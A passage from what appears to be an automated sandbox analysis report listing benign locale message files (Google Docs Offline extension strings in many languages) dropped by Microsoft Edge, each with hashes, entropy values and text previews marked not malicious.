Preview:	{"createnew":{"message":"B\u00daA TIL N\u00ddTT"},"explanationofflinedisabled":{"message":"\u00de\u00fa ert \u00e1n nettengingar. Til a\u00f0 nota Google-skj\u00f6l \u00e1n nettengingar skaltu opna stillingarnar \u00e1 heimas\u00ed\u00f0u Google skjala og virkja samstillingu \u00e1n nettengingar n\u00e6st \u00feegar \u00fe\u00fa tengist netinu."},"explanationofflineenabled":{"message":"Engin nettenging. \u00de\u00fa getur samt sem \u00e1\u00f0ur breytt tilt\u00e6kum skr\u00e1m e\u00f0a b\u00fai\u00f0 til n\u00fdjar."},"extdesc":{"message":"Breyttu, b\u00fa\u00f0u til og sko\u00f0a\u00f0u skj\u00f6lin \u00fe\u00edn, t\u00f6flureikna og kynningar \u2014 allt \u00e1n nettengingar."},"extname":{"message":"Google-skj\u00f6l \u00e1n nettengingar"},"learnmore":{"message":"Frekari uppl\u00fdsingar"},"popuphelptext":{"message":"Skrifa\u00f0u, breyttu og starfa\u00f0u me\u00f0 \u00f6\u00f0rum hvort sem nettenging er til sta\u00f0ar e\u00f0a ekki."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir7808_1832178150\CRX_INSTALL\_locales\it\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	899
Entropy (8bit):	4.474743599345443
Encrypted:	false
SSDEEP:	12:1HASvggrCBxNp8WJOJJrJ3WytVCBxep3bjP5CSUCjV8AgJJm2CBhr+z1tWgjqEOW:1HANXJOTBFtKa8Agju4NB3j
MD5:	0D82B734EF045D5FE7AA680B6A12E711
SHA1:	BD04F181E4EE09F02CD53161DCABCEF902423092
SHA-256:	F41862665B13C0B4C4F562EF1743684CCE29D4BCF7FE3EA494208DF253E33885
SHA-512:	01F305A280112482884485085494E871C66D40C0B03DE710B4E5F49C6A478D541C2C1FDA2CEAF4307900485946DEE9D905851E98A2EB237642C80D464D1B3ADA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA NUOVO".. },.. "explanationofflinedisabled": {.. "message": "Sei offline. Per utilizzare Documenti Google senza una connessione Internet, apri le impostazioni nella home page di Documenti Google e attiva la sincronizzazione offline la prossima volta che ti colleghi a Internet.".. },.. "explanationofflineenabled": {.. "message": "Sei offline, ma puoi comunque modificare i file disponibili o crearne di nuovi.".. },.. "extdesc": {.. "message": "Modifica, crea e visualizza documenti, fogli di lavoro e presentazioni, senza accesso a Internet.".. },.. "extname": {.. "message": "Documenti Google offline".. },.. "learnmore": {.. "message": "Ulteriori informazioni".. },.. "popuphelptext": {.. "message": "Scrivi, modifica e collabora ovunque ti trovi, con o senza una connessione Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7808_1832178150\CRX_INSTALL\_locales\iw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2230
Entropy (8bit):	3.8239097369647634
Encrypted:	false
SSDEEP:	24:YIiTVLrLD1MEzMEH82LBLjO5YaQEqLytLLBm3dnA5LcqLWAU75yxFLcx+UxWRJLI:YfTFf589rZNgNA12Qzt4/zRz2vc
MD5:	26B1533C0852EE4661EC1A27BD87D6BF
SHA1:	18234E3ABAF702DF9330552780C2F33B83A1188A
SHA-256:	BBB81C32F482BA3216C9B1189C70CEF39CA8C2181AF3538FFA07B4C6AD52F06A
SHA-512:	450BFAF0E8159A4FAE309737EA69CA8DD91CAAFD27EF662087C4E7716B2DCAD3172555898E75814D6F11487F4F254DE8625EF0CFEA8DF0133FC49E18EC7FD5D2
Malicious:	false
Preview:	{"createnew":{"message":"\u05d9\u05e6\u05d9\u05e8\u05ea \u05d7\u05d3\u05e9"},"explanationofflinedisabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8. \u05db\u05d3\u05d9 \u05dc\u05d4\u05e9\u05ea\u05de\u05e9 \u05d1-Google Docs \u05dc\u05dc\u05d0 \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d1\u05d4\u05ea\u05d7\u05d1\u05e8\u05d5\u05ea \u05d4\u05d1\u05d0\u05d4 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d9\u05e9 \u05dc\u05e2\u05d1\u05d5\u05e8 \u05dc\u05e7\u05d8\u05e2 \u05d4\u05d4\u05d2\u05d3\u05e8\u05d5\u05ea \u05d1\u05d3\u05e3 \u05d4\u05d1\u05d9\u05ea \u05e9\u05dc Google Docs \u05d5\u05dc\u05d4\u05e4\u05e2\u05d9\u05dc \u05e1\u05e0\u05db\u05e8\u05d5\u05df \u05d1\u05de\u05e6\u05d1 \u05d0\u05d5\u05e4\u05dc\u05d9\u05d9\u05df."},"explanationofflineenabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e

C:\Users\user\AppData\Local\Temp\scoped_dir7808_1832178150\CRX_INSTALL\_locales\ja\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1160
Entropy (8bit):	5.292894989863142
Encrypted:	false
SSDEEP:	24:1HAoc3IiRF1viQ1RF3CMP3rnicCCAFrr1Oo0Y5ReXCCQkb:Dc3zF7F3CMTnOCAFVLHXCFb
MD5:	15EC1963FC113D4AD6E7E59AE5DE7C0A
SHA1:	4017FC6D8B302335469091B91D063B07C9E12109
SHA-256:	34AC08F3C4F2D42962A3395508818B48CA323D22F498738CC9F09E78CB197D73
SHA-512:	427251F471FA3B759CA1555E9600C10F755BC023701D058FF661BEC605B6AB94CFB3456C1FEA68D12B4D815FFBAFABCEB6C12311DD1199FC783ED6863AF97C0F
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ............................... Google .............. [..] .......[.......] ...........".. },.. "explanationofflineenabled": {.. "message": ".............................................".. },.. "extdesc": {.. "message": ".........................................................".. },.. "extname": {.. "message": "Google ..... ......".. },.. "learnmore": {.. "message": "..".. },.. "popuphelp

C:\Users\user\AppData\Local\Temp\scoped_dir7808_1832178150\CRX_INSTALL\_locales\ka\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3264
Entropy (8bit):	3.586016059431306
Encrypted:	false
SSDEEP:	48:YGFbhVhVn0nM/XGbQTvxnItVJW/476CFdqaxWNlR:HFbhV/n0MfGbw875FkaANlR
MD5:	83F81D30913DC4344573D7A58BD20D85
SHA1:	5AD0E91EA18045232A8F9DF1627007FE506A70E0
SHA-256:	30898BBF51BDD58DB397FF780F061E33431A38EF5CFC288B5177ECF76B399F26
SHA-512:	85F97F12AD4482B5D9A6166BB2AE3C4458A582CF575190C71C1D8E0FB87C58482F8C0EFEAD56E3A70EDD42BED945816DB5E07732AD27B8FFC93F4093710DD58F
Malicious:	false
Preview:	{"createnew":{"message":"\u10d0\u10ee\u10da\u10d8\u10e1 \u10e8\u10d4\u10e5\u10db\u10dc\u10d0"},"explanationofflinedisabled":{"message":"\u10d7\u10e5\u10d5\u10d4\u10dc \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10ee\u10d0\u10e0\u10d7. Google Docs-\u10d8\u10e1 \u10d8\u10dc\u10e2\u10d4\u10e0\u10dc\u10d4\u10e2\u10d7\u10d0\u10dc \u10d9\u10d0\u10d5\u10e8\u10d8\u10e0\u10d8\u10e1 \u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10d2\u10d0\u10db\u10dd\u10e1\u10d0\u10e7\u10d4\u10dc\u10d4\u10d1\u10da\u10d0\u10d3 \u10d2\u10d0\u10d3\u10d0\u10d3\u10d8\u10d7 \u10de\u10d0\u10e0\u10d0\u10db\u10d4\u10e2\u10e0\u10d4\u10d1\u10d6\u10d4 Google Docs-\u10d8\u10e1 \u10db\u10d7\u10d0\u10d5\u10d0\u10e0 \u10d2\u10d5\u10d4\u10e0\u10d3\u10d6\u10d4 \u10d3\u10d0 \u10e9\u10d0\u10e0\u10d7\u10d4\u10d7 \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10e1\u10d8\u10dc\u10e5\u10e0\u10dd\u10dc\u10d8\u10d6\u10d0\u10ea\u10d8\u10d0, \u10e0\u10dd\u10d3\u10d4\u10e1\u10d0\u10ea \u10e8\u10d4\u10db\u10d3\u10d2\u10dd\u10

C:\Users\user\AppData\Local\Temp\scoped_dir7808_1832178150\CRX_INSTALL\_locales\kk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3235
Entropy (8bit):	3.6081439490236464
Encrypted:	false
SSDEEP:	96:H3E+6rOEAbeHTln2EQ77Uayg45RjhCSj+OyRdM7AE9qdV:HXcR/nQXUayYV
MD5:	2D94A58795F7B1E6E43C9656A147AD3C
SHA1:	E377DB505C6924B6BFC9D73DC7C02610062F674E
SHA-256:	548DC6C96E31A16CE355DC55C64833B08EF3FBA8BF33149031B4A685959E3AF4
SHA-512:	F51CC857E4CF2D4545C76A2DCE7D837381CE59016E250319BF8D39718BE79F9F6EE74EA5A56DE0E8759E4E586D93430D51651FC902376D8A5698628E54A0F2D8
Malicious:	false
Preview:	{"createnew":{"message":"\u0416\u0410\u04a2\u0410\u0421\u042b\u041d \u0416\u0410\u0421\u0410\u0423"},"explanationofflinedisabled":{"message":"\u0421\u0456\u0437 \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u043d\u0434\u0435\u0441\u0456\u0437. Google Docs \u049b\u043e\u043b\u0434\u0430\u043d\u0431\u0430\u0441\u044b\u043d \u0436\u0435\u043b\u0456 \u0431\u0430\u0439\u043b\u0430\u043d\u044b\u0441\u044b\u043d\u0441\u044b\u0437 \u049b\u043e\u043b\u0434\u0430\u043d\u0443 \u04af\u0448\u0456\u043d, \u043a\u0435\u043b\u0435\u0441\u0456 \u0436\u043e\u043b\u044b \u0436\u0435\u043b\u0456\u0433\u0435 \u049b\u043e\u0441\u044b\u043b\u0493\u0430\u043d\u0434\u0430, Google Docs \u043d\u0435\u0433\u0456\u0437\u0433\u0456 \u0431\u0435\u0442\u0456\u043d\u0435\u043d \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043b\u0435\u0440 \u0431\u04e9\u043b\u0456\u043c\u0456\u043d \u043a\u0456\u0440\u0456\u043f, \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u

C:\Users\user\AppData\Local\Temp\scoped_dir7808_1832178150\CRX_INSTALL\_locales\km\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3122
Entropy (8bit):	3.891443295908904
Encrypted:	false
SSDEEP:	96:/OOrssRU6Bg7VSdL+zsCfoZiWssriWqo2gx7RRCos2sEeBkS7Zesg:H5GRZlXsGdo
MD5:	B3699C20A94776A5C2F90AEF6EB0DAD9
SHA1:	1F9B968B0679A20FA097624C9ABFA2B96C8C0BEA
SHA-256:	A6118F0A0DE329E07C01F53CD6FB4FED43E54C5F53DB4CD1C7F5B2B4D9FB10E6
SHA-512:	1E8D15B8BFF1D289434A244172F9ED42B4BB6BCB6372C1F300B01ACEA5A88167E97FEDABA0A7AE3BEB5E24763D1B09046AE8E30745B80E2E2FE785C94DF362F6
Malicious:	false
Preview:	{"createnew":{"message":"\u1794\u1784\u17d2\u1780\u17be\u178f\u200b\u1790\u17d2\u1798\u17b8"},"explanationofflinedisabled":{"message":"\u17a2\u17d2\u1793\u1780\u200b\u1782\u17d2\u1798\u17b6\u1793\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f\u17d4 \u178a\u17be\u1798\u17d2\u1794\u17b8\u200b\u1794\u17d2\u179a\u17be Google \u17af\u1780\u179f\u17b6\u179a\u200b\u1794\u17b6\u1793\u200b\u200b\u178a\u17c4\u1799\u200b\u200b\u1798\u17b7\u1793\u1798\u17b6\u1793\u200b\u200b\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f \u179f\u17bc\u1798\u200b\u200b\u1791\u17c5\u200b\u1780\u17b6\u1793\u17cb\u200b\u1780\u17b6\u179a\u200b\u1780\u17c6\u178e\u178f\u17cb\u200b\u1793\u17c5\u200b\u179b\u17be\u200b\u1782\u17c1\u17a0\u1791\u17c6\u1796\u17d0\u179a Google \u17af\u1780\u179f\u17b6\u179a \u1793\u17b7\u1784\u200b\u1794\u17be\u1780\u200b\u1780\u17b6\u179a\u1792\u17d2\u179c\u17be\u200b\u179f\u1798\u1780\u17b6\u179b\u1780\u1798\u17d2\u1798\u200b\u200b\u200b\u1782\u17d2\u1798\u17b6\u1793

C:\Users\user\AppData\Local\Temp\scoped_dir7808_1832178150\CRX_INSTALL\_locales\kn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1895
Entropy (8bit):	4.28990403715536
Encrypted:	false
SSDEEP:	48:SHYGuEETiuF6OX5tCYFZt5GurMRRevsY4tVZIGnZRxlKT6/U0WG:yYG8iuF6yTCYFH5GjLPtVZVZRxOZ0J
MD5:	38BE0974108FC1CC30F13D8230EE5C40
SHA1:	ACF44889DD07DB97D26D534AD5AFA1BC1A827BAD
SHA-256:	30078EF35A76E02A400F03B3698708A0145D9B57241CC4009E010696895CF3A1
SHA-512:	7BDB2BADE4680801FC3B33E82C8AA4FAC648F45C795B4BACE4669D6E907A578FF181C093464884C0E00C9762E8DB75586A253D55CD10A7777D281B4BFFAFE302
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........ .....".. },.. "explanationofflinedisabled": {.. "message": ".... ..................... ......... ............. Google ...... ....., Google ...... ............ ............... .... ..... ...... .... .... ............ ............. ........ ..... ... .....".. },.. "explanationofflineenabled": {.. "message": ".... ...................., .... .... .... ......... ........... ............ .... ........ .........."..

C:\Users\user\AppData\Local\Temp\scoped_dir7808_1832178150\CRX_INSTALL\_locales\ko\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1042
Entropy (8bit):	5.3945675025513955
Encrypted:	false
SSDEEP:	24:1HAWYsF4dqNfBQH49Hk8YfIhYzTJ+6WJBtl/u4s+6:ZF4wNfvm87mX4LF6
MD5:	F3E59EEEB007144EA26306C20E04C292
SHA1:	83E7BDFA1F18F4C7534208493C3FF6B1F2F57D90
SHA-256:	C52D9B955D229373725A6E713334BBB31EA72EFA9B5CF4FBD76A566417B12CAC
SHA-512:	7808CB5FF041B002CBD78171EC5A0B4DBA3E017E21F7E8039084C2790F395B839BEE04AD6C942EED47CCB53E90F6DE818A725D1450BF81BA2990154AFD3763AF
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".. ...".. },.. "explanationofflinedisabled": {.. "message": ".... ...... ... .. .. Google Docs. ..... Google Docs .... .... .... .... .... ..... . .... .... ..... ......".. },.. "explanationofflineenabled": {.. "message": ".... ...... ... .. ... ... ..... ... ... .. . .....".. },.. "extdesc": {.. "message": ".... .... ... .., ...... . ....... .., .., ......".. },.. "extname": {.. "message": "Google Docs ....".. },.. "learnmore": {.. "message": "... ....".. },.. "popuphelptext": {.. "message": "... .. ... .... ..... .... .... .....

C:\Users\user\AppData\Local\Temp\scoped_dir7808_1832178150\CRX_INSTALL\_locales\lo\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2535
Entropy (8bit):	3.8479764584971368
Encrypted:	false
SSDEEP:	48:YRcHe/4raK1EIlZt1wg62FIOg+xGaF8guI5EP9I2yC:+cs4raK1xlZtOgviOfGaF8RI5EP95b
MD5:	E20D6C27840B406555E2F5091B118FC5
SHA1:	0DCECC1A58CEB4936E255A64A2830956BFA6EC14
SHA-256:	89082FB05229826BC222F5D22C158235F025F0E6DF67FF135A18BD899E13BB8F
SHA-512:	AD53FC0B153005F47F9F4344DF6C4804049FAC94932D895FD02EEBE75222CFE77EEDD9CD3FDC4C88376D18C5972055B00190507AA896488499D64E884F84F093
Malicious:	false
Preview:	{"createnew":{"message":"\u0eaa\u0ec9\u0eb2\u0e87\u0ec3\u0edd\u0ec8"},"explanationofflinedisabled":{"message":"\u0e97\u0ec8\u0eb2\u0e99\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ea2\u0eb9\u0ec8. \u0ec0\u0e9e\u0eb7\u0ec8\u0ead\u0ec3\u0e8a\u0ec9 Google Docs \u0ec2\u0e94\u0e8d\u0e9a\u0ecd\u0ec8\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94, \u0ec3\u0eab\u0ec9\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e81\u0eb2\u0e99\u0e95\u0eb1\u0ec9\u0e87\u0e84\u0ec8\u0eb2\u0ec3\u0e99\u0edc\u0ec9\u0eb2 Google Docs \u0ec1\u0ea5\u0ec9\u0ea7\u0ec0\u0e9b\u0eb5\u0e94\u0ec3\u0e8a\u0ec9\u0e81\u0eb2\u0e99\u0e8a\u0eb4\u0ec9\u0e87\u0ec1\u0e9a\u0e9a\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ec3\u0e99\u0ec0\u0e97\u0eb7\u0ec8\u0ead\u0e95\u0ecd\u0ec8\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e97\u0ec8\u0eb2\u0e99\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94."},"explanationofflineenabled":{"message":"\u0e97\u0ec

C:\Users\user\AppData\Local\Temp\scoped_dir7808_1832178150\CRX_INSTALL\_locales\lt\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1028
Entropy (8bit):	4.797571191712988
Encrypted:	false
SSDEEP:	24:1HAivZZaJ3Rje394+k7IKgpAJjUpSkiQjuRBMd:fZZahBeu7IKgqeMg
MD5:	970544AB4622701FFDF66DC556847652
SHA1:	14BEE2B77EE74C5E38EBD1DB09E8D8104CF75317
SHA-256:	5DFCBD4DFEAEC3ABE973A78277D3BD02CD77AE635D5C8CD1F816446C61808F59
SHA-512:	CC12D00C10B970189E90D47390EEB142359A8D6F3A9174C2EF3AE0118F09C88AB9B689D9773028834839A7DFAF3AAC6747BC1DCB23794A9F067281E20B8DC6EA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SUKURTI NAUJ.".. },.. "explanationofflinedisabled": {.. "message": "Esate neprisijung.. Jei norite naudoti .Google. dokumentus be interneto ry.io, pagrindiniame .Google. dokument. puslapyje eikite . nustatym. skilt. ir .junkite sinchronizavim. neprisijungus, kai kit. kart. b.site prisijung. prie interneto.".. },.. "explanationofflineenabled": {.. "message": "Esate neprisijung., bet vis tiek galite redaguoti pasiekiamus failus arba sukurti nauj..".. },.. "extdesc": {.. "message": "Redaguokite, kurkite ir per.i.r.kite savo dokumentus, skai.iuokles ir pristatymus . visk. darykite be prieigos prie interneto.".. },.. "extname": {.. "message": ".Google. dokumentai neprisijungus".. },.. "learnmore": {.. "message": "Su.inoti daugiau".. },.. "popuphelptext": {.. "message": "Ra.ykite, redaguokite ir bendradarbiaukite bet kurioje vietoje naudodami interneto ry.. arba

C:\Users\user\AppData\Local\Temp\scoped_dir7808_1832178150\CRX_INSTALL\_locales\lv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	994
Entropy (8bit):	4.700308832360794
Encrypted:	false
SSDEEP:	24:1HAaJ7a/uNpoB/Y4vPnswSPkDzLKFQHpp//BpPDB:7J7a/uzQ/Y4vvswhDzDr/LDB
MD5:	A568A58817375590007D1B8ABCAEBF82
SHA1:	B0F51FE6927BB4975FC6EDA7D8A631BF0C1AB597
SHA-256:	0621DE9161748F45D53052ED8A430962139D7F19074C7FFE7223ECB06B0B87DB
SHA-512:	FCFBADEC9F73975301AB404DB6B09D31457FAC7CCAD2FA5BE348E1CAD6800F87CB5B56DE50880C55BBADB3C40423351A6B5C2D03F6A327D898E35F517B1C628C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "IZVEIDOT JAUNU".. },.. "explanationofflinedisabled": {.. "message": "J.s esat bezsaist.. Lai lietotu pakalpojumu Google dokumenti bez interneta savienojuma, n.kamaj. reiz., kad ir izveidots savienojums ar internetu, atveriet Google dokumentu s.kumlapas iestat.jumu izv.lni un iesl.dziet sinhroniz.ciju bezsaist..".. },.. "explanationofflineenabled": {.. "message": "J.s esat bezsaist., ta.u varat redi..t pieejamos failus un izveidot jaunus.".. },.. "extdesc": {.. "message": "Redi..jiet, veidojiet un skatiet savus dokumentus, izkl.jlapas un prezent.cijas, neizmantojot savienojumu ar internetu.".. },.. "extname": {.. "message": "Google dokumenti bezsaist.".. },.. "learnmore": {.. "message": "Uzziniet vair.k".. },.. "popuphelptext": {.. "message": "Rakstiet, redi..jiet un sadarbojieties ar interneta savienojumu vai bez t. neatkar.gi no t., kur atrodaties.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7808_1832178150\CRX_INSTALL\_locales\ml\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2091
Entropy (8bit):	4.358252286391144
Encrypted:	false
SSDEEP:	24:1HAnHdGc4LtGxVY6IuVzJkeNL5kP13a67wNcYP8j5PIaSTIjPU4ELFPCWJjMupV/:idGcyYPVtkAUl7wqziBsg9DbpN6XoN/
MD5:	4717EFE4651F94EFF6ACB6653E868D1A
SHA1:	B8A7703152767FBE1819808876D09D9CC1C44450
SHA-256:	22CA9415E294D9C3EC3384B9D08CDAF5164AF73B4E4C251559E09E529C843EA6
SHA-512:	487EAB4938F6BC47B1D77DD47A5E2A389B94E01D29849E38E96C95CABC7BD98679451F0E22D3FEA25C045558CD69FDDB6C4FEF7C581141F1C53C4AA17578D7F7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ............".. },.. "explanationofflinedisabled": {.. "message": "...... ........... ........... ............. ..... Google ....... ..........., Google ....... .......... ............. .... ...... ...... ... ............... .................... '.......... ................' .........".. },.. "explanationofflineenabled": {.. "message": "................., .......... ......... ....... ...... ..............

C:\Users\user\AppData\Local\Temp\scoped_dir7808_1832178150\CRX_INSTALL\_locales\mn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2778
Entropy (8bit):	3.595196082412897
Encrypted:	false
SSDEEP:	48:Y943BFU1LQ4HwQLQ4LQhlmVQL3QUm6H6ZgFIcwn6Rs2ShpQ3IwjGLQSJ/PYoEQj8:I43BCymz8XNcfuQDXYN2sum
MD5:	83E7A14B7FC60D4C66BF313C8A2BEF0B
SHA1:	1CCF1D79CDED5D65439266DB58480089CC110B18
SHA-256:	613D8751F6CC9D3FA319F4B7EA8B2BD3BED37FD077482CA825929DD7C12A69A8
SHA-512:	3742E24FFC4B5283E6EE496813C1BDC6835630D006E8647D427C3DE8B8E7BF814201ADF9A27BFAB3ABD130B6FEC64EBB102AC0EB8DEDFE7B63D82D3E1233305D
Malicious:	false
Preview:	{"createnew":{"message":"\u0428\u0418\u041d\u0418\u0419\u0413 \u04ae\u04ae\u0421\u0413\u042d\u0425"},"explanationofflinedisabled":{"message":"\u0422\u0430 \u043e\u0444\u043b\u0430\u0439\u043d \u0431\u0430\u0439\u043d\u0430. Google \u0414\u043e\u043a\u044b\u0433 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u0433\u04af\u0439\u0433\u044d\u044d\u0440 \u0430\u0448\u0438\u0433\u043b\u0430\u0445\u044b\u043d \u0442\u0443\u043b\u0434 \u0434\u0430\u0440\u0430\u0430\u0433\u0438\u0439\u043d \u0443\u0434\u0430\u0430 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u044d\u0434 \u0445\u043e\u043b\u0431\u043e\u0433\u0434\u043e\u0445\u0434\u043e\u043e Google \u0414\u043e\u043a\u044b\u043d \u043d\u04af\u04af\u0440 \u0445\u0443\u0443\u0434\u0430\u0441\u043d\u0430\u0430\u0441 \u0442\u043e\u0445\u0438\u0440\u0433\u043e\u043e \u0434\u043e\u0442\u043e\u0440\u0445 \u043e\u0444\u043b\u0430\u0439\u043d \u0441\u0438\u043d\u043a\u0438\u0439\u0433 \u0438\u0434\u044d\u0432\u0445\u0436\u04af\u04af\u043b\u043d\u0

C:\Users\user\AppData\Local\Temp\scoped_dir7808_1832178150\CRX_INSTALL\_locales\mr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1719
Entropy (8bit):	4.287702203591075
Encrypted:	false
SSDEEP:	48:65/5EKaDMw6pEf4I5+jSksOTJqQyrFO8C:65/5EKaAw6pEf4I5+vsOVqQyFO8C
MD5:	3B98C4ED8874A160C3789FEAD5553CFA
SHA1:	5550D0EC548335293D962AAA96B6443DD8ABB9F6
SHA-256:	ADEB082A9C754DFD5A9D47340A3DDCC19BF9C7EFA6E629A2F1796305F1C9A66F
SHA-512:	5139B6C6DF9459C7B5CDC08A98348891499408CD75B46519BA3AC29E99AAAFCC5911A1DEE6C3A57E3413DBD0FAE72D7CBC676027248DCE6364377982B5CE4151
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ...".. },.. "explanationofflinedisabled": {.. "message": "...... ...... ..... ......... ....... ....... ..... Google ....... ............, Google ....... .............. .......... .. ... ..... .... ...... ......... ...... ...... ...... .... .... ....".. },.. "explanationofflineenabled": {.. "message": "...... ...... ...., ..... ...... ...... ...... .... ....... ... ..... .... .... ... .....".. },.. "extdesc": {.. "message": "..... ..

C:\Users\user\AppData\Local\Temp\scoped_dir7808_1832178150\CRX_INSTALL\_locales\ms\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	936
Entropy (8bit):	4.457879437756106
Encrypted:	false
SSDEEP:	24:1HARXIqhmemNKsE27rhdfNLChtyo2JJ/YgTgin:iIqFC7lrDfNLCIBRzn
MD5:	7D273824B1E22426C033FF5D8D7162B7
SHA1:	EADBE9DBE5519BD60458B3551BDFC36A10049DD1
SHA-256:	2824CF97513DC3ECC261F378BFD595AE95A5997E9D1C63F5731A58B1F8CD54F9
SHA-512:	E5B611BBFAB24C9924D1D5E1774925433C65C322769E1F3B116254B1E9C69B6DF1BE7828141EEBBF7524DD179875D40C1D8F29C4FB86D663B8A365C6C60421A7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "BUAT BAHARU".. },.. "explanationofflinedisabled": {.. "message": "Anda berada di luar talian. Untuk menggunakan Google Docs tanpa sambungan Internet, pergi ke tetapan di halaman utama Google Docs dan hidupkan penyegerakan luar talian apabila anda disambungkan ke Internet selepas ini.".. },.. "explanationofflineenabled": {.. "message": "Anda berada di luar talian, tetapi anda masih boleh mengedit fail yang tersedia atau buat fail baharu.".. },.. "extdesc": {.. "message": "Edit, buat dan lihat dokumen, hamparan dan pembentangan anda . kesemuanya tanpa akses Internet.".. },.. "extname": {.. "message": "Google Docs Luar Talian".. },.. "learnmore": {.. "message": "Ketahui Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit dan bekerjasama di mana-mana sahaja anda berada, dengan atau tanpa sambungan Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7808_1832178150\CRX_INSTALL\_locales\my\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3830
Entropy (8bit):	3.5483353063347587
Encrypted:	false
SSDEEP:	48:Ya+Ivxy6ur1+j3P7Xgr5ELkpeCgygyOxONHO3pj6H57ODyOXOVp6:8Uspsj3P3ty2a66xl09
MD5:	342335A22F1886B8BC92008597326B24
SHA1:	2CB04F892E430DCD7705C02BF0A8619354515513
SHA-256:	243BEFBD6B67A21433DCC97DC1A728896D3A070DC20055EB04D644E1BB955FE7
SHA-512:	CD344D060E30242E5A4705547E807CE3CE2231EE983BB9A8AD22B3E7598A7EC87399094B04A80245AD51D039370F09D74FE54C0B0738583884A73F0C7E888AD8
Malicious:	false
